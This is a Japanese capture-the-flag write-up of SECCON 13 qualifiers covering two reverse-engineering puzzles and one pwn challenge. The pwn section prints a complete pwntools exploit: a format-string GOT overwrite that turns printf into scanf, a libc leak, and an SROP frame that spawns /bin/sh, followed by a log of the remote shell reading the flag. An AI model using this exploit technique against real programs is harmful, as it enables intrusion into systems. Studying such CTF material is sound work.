caphosraです. SECCON 13 QualsにTSGで参加しました. 結果は国内7位ということで決勝には進めそうです. 本当にチームメンバーが凄すぎる.

自分はpwnのParagraphとrevのpackedを解きました. 記録上はrevのJumpも解いたことになっていますが, 雑にフラグをguessしただけなので"解けた"ことにしていいものか…? どうguessしたかは書きます.

rev: packed (93pt, 119teams) 見出しへのリンク

gdbをアタッチして手動で前から実行していくと, 入力文字列をある2つのバイト列とxorして0になるかどうかを判定していることがわかる. xorの性質から(a xor b) xor c == 0a == b xor cなので, この2つのバイト列のxorをとってあげれば良い.

a = [0xe8, 0x4a, 0x0, 0x0, 0x0, 0x83, 0xf9, 0x49, 0x75, 0x44, 0x53, 0x57, 0x48, 0x8d, 0x4c, 0x37, 0xfd, 0x5e, 0x56, 0x5b, 0xeb, 0x2f, 0x48, 0x39, 0xce, 0x73, 0x32, 0x56, 0x5e, 0xac, 0x3c, 0x80, 0x72, 0xa, 0x3c, 0x8f, 0x77, 0x6, 0x80, 0x7e, 0xfe, 0xf, 0x74, 0x6, 0x2c, 0xe8, 0x3c, 0x1]
b = [0xbb, 0xf, 0x43, 0x43, 0x4f, 0xcd, 0x82, 0x1c, 0x25, 0x1c, 0xc, 0x24, 0x7f, 0xf8, 0x2e, 0x68, 0xcc, 0x2d, 0x9, 0x3a, 0xb4, 0x48, 0x78, 0x56, 0xaa, 0x2c, 0x42, 0x3a, 0x6a, 0xcf, 0xf, 0xdf, 0x14, 0x3a, 0x4e, 0xd0, 0x1f, 0x37, 0xe4, 0x17, 0x90, 0x39, 0x2b, 0x65, 0x1c, 0x8c, 0xf, 0x7c]

text = ""
for i in range(len(a)):
    text += chr(a[i] ^ b[i])

print(text)

FLAG: SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

Flagを見て初めてUPXに思いを馳せることが想定されているのか, と思った. 時代はやっぱり人の手でやるまごころデバッグですよ.

pwn: Paragraph (125pt, 65teams) 見出しへのリンク

ソースコードを見ると露骨にFormat String Attackしてね〜という顔をしたprintfがいる.

// char name[24];
scanf("%23s", name);
printf(name);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

ここで問題となるのはFormat String Attackでどこを書き換えてあげれば良いかである. このscanfでpayloadを送るタイミングではglibcのアドレスもわからないのでリターンアドレスを書き換えてROPするのは辛そうなので, GOTを書き換えてその下のprintfscanfに挿げ替えることを考えた. こうするとちょうど下の行が,

scanf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

と同等になるので, スタック上の変数nameに好きな長さの文字列を送り込める. scanfprintfとかなり近いアドレスにあるので, アドレスを下位4bits書き換えるだけで良い. ただ, 固定の下位3bitsはいいとして, 残りの1bitはランダムなので1/16の確率でしか通らない. 100%解法が存在するのかかなり気になっている.

さて, あとはスタックに適当なpayloadを流せば良い. 今回は折角なのでSROPした.

#!/usr/bin/env python3

import sys
from pwn import *
import time

# REMOTE = ("", 5000)
EXEC = "./chall"
if len(sys.argv) == 1:
    sock = process(EXEC)
    IS_REMOTE = False
    glibc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    ret = 171368
    mod_rax = 0x0003fd21
else:
    assert sys.argv[1] == "remote"
    sock = remote("paragraph.seccon.games", 5000)
    IS_REMOTE = True
    glibc = ELF("./libc.so.6")
    ret = 172490
    mod_rax = 0x00045321

context.arch = "x86_64"
sock.debug = True

elf = ELF("./chall")
rop = ROP([glibc])

input("[;] Waiting...")

printf_addr = glibc.symbols["printf"]
scanf_addr = glibc.symbols["__isoc99_scanf"]
print(f"[!] printf: {hex(printf_addr)}")
print(f"[!] scanf: {hex(scanf_addr)}")
print(f"[!] ret: {hex(ret)}")

printf_got = elf.got["printf"]
print(f"[!] printf got: {hex(printf_got)}")

lower = scanf_addr % 0x1000 + 0x1000
print(f"[!] lower: {hex(lower)}")

payload = \
    f"%{lower}c".encode() \
    + b"%8$hn" \
    + b"%11$p"
payload += \
    b"A" * (0x10 - len(payload)) \
    + p64(printf_got)[0:6]

sock.sendlineafter(b".\n", payload)

sock.recvuntil(b"0x")
glibc.address = int(sock.recv(12), 16) - ret
print(f"[!] glibc base: {hex(glibc.address)}")

mod_rax = glibc.address + mod_rax
binsh = next(glibc.search(b"/bin/sh\x00"))

sigret_frame = SigreturnFrame()
sigret_frame.rax = constants.SYS_execve
sigret_frame.rdi = binsh
sigret_frame.rsi = 0
sigret_frame.rdx = 0
sigret_frame.rip = mod_rax + 6

phrase1 = b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "
payload = \
    b"A" * 0x28 \
    + p64(mod_rax) \
    + bytes(sigret_frame)
phrase2 = b" warmly.\nl"

print(f"[!] payload: {payload}")

payload = phrase1 + payload + phrase2

sock.sendline(payload)

sock.interactive()

実行するとこんな感じ.

[+] Opening connection to paragraph.seccon.games on port 5000: Done

[!] Could not populate PLT: No module named 'distutils'
[*] '/ctf/2024/seccon/Paragraph/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[!] Could not populate PLT: No module named 'distutils'
[*] '/ctf/2024/seccon/Paragraph/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] Loaded 111 cached gadgets for './libc.so.6'
[;] Waiting...
[!] printf: 0x600f0
[!] scanf: 0x5fe00
[!] ret: 0x2a1ca
[!] printf got: 0x404028
[!] lower: 0x1e00
[!] glibc base: 0x7f1a502a2000
[!] payload: b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!s.P\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\xd4FP\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00's.P\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[*] Switching to interactive mode
(@@$
$ cd /
$ ls
app
bin
boot
dev
etc
flag-7be278fe51857375210d562e53f6097e.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag-7be278fe51857375210d562e53f6097e.txt
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
$
[*] Interrupted
[*] Closed connection to paragraph.seccon.games port 5000

FLAG: SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

書いたコードがバグっているのか単に1/16を引けてないのかわからないのがもどかしかった.

rev: Jump (118pt, 69teams) 見出しへのリンク

aarch64のrev問題.

チームメイトのliesegangさんによって割と解析が進んでいる状態で助太刀に入った. SECCONの運営がDiscordでバイナリを通るフラグが複数あることに言及していたように, angrで解くと大量の答えが出たとのことだった. また, Ghidraで見たときに, 以下の処理が文字列を4文字ずつ確認する操作のように思えるという啓示をいただいた.

DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x336b3468) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x5f74315f) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x357b4e4f) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x62629d6b) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x6b2c5e2c) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) - *(int *)(param_1 + DAT_00412038 + -4) == 0x47cb363b) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x43434553) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x626b6223) != 0;

なんかguessできそう.

ということで, 値を足したり引いたりした時にありえるパターンを全列挙してちゃんとした文字列になっているものを取捨選択していったらフラグを得た. 以下が実際に作業したファイルの成れの果てである. 上のseedsに直接比較されている数値を入れて, 下のdiffsに比較に用いられた数字を入れると適当に全列挙してくれるスクリプトである. だいぶ候補が絞れていくのでdiffsは実行のたびに要素が少なくなっていく.

from pwn import *

seeds = [0x43434553, 0x357b4e4f, 0x336b3468, (- 0x5f74315f - 0x6b2c5e2c + 0x626b6223 - 0x62629d6b) % 0x100000000]
diffs = [0x47cb363b]

# 0x5f74315f, 0x6b2c5e2c

for seed in seeds:
    for diff in diffs:
        print(f"{p32(seed)}, {p32(diff)}")
        print(f" {p32((seed - diff) % 0x100000000)}")
        print(f" {p32((diff - seed) % 0x100000000)}")
        print(f" {p32((seed + diff) % 0x100000000)}")
        print(f" {p32((-seed - diff) % 0x100000000)}")

FLAG: SECCON{5h4k3_1t_up_5h-5h-5h5hk3}

解析パートはliesegangさんだし, 最後にguessだけしたので"自分が解いた問題"に含めるべきではないという考え.

まとめ 見出しへのリンク

もっと知識と技術をつけて出直してきます.

(おまけ) 時間の使い方 見出しへのリンク

最初にParagraphに手を出し, 解けたので余っていたpackedを解き, revのF is for Flagに手をつけた. 途中でJumpをguessすることと2時間の仮眠を挟んだ. 結局F is for Flagは解けなかった.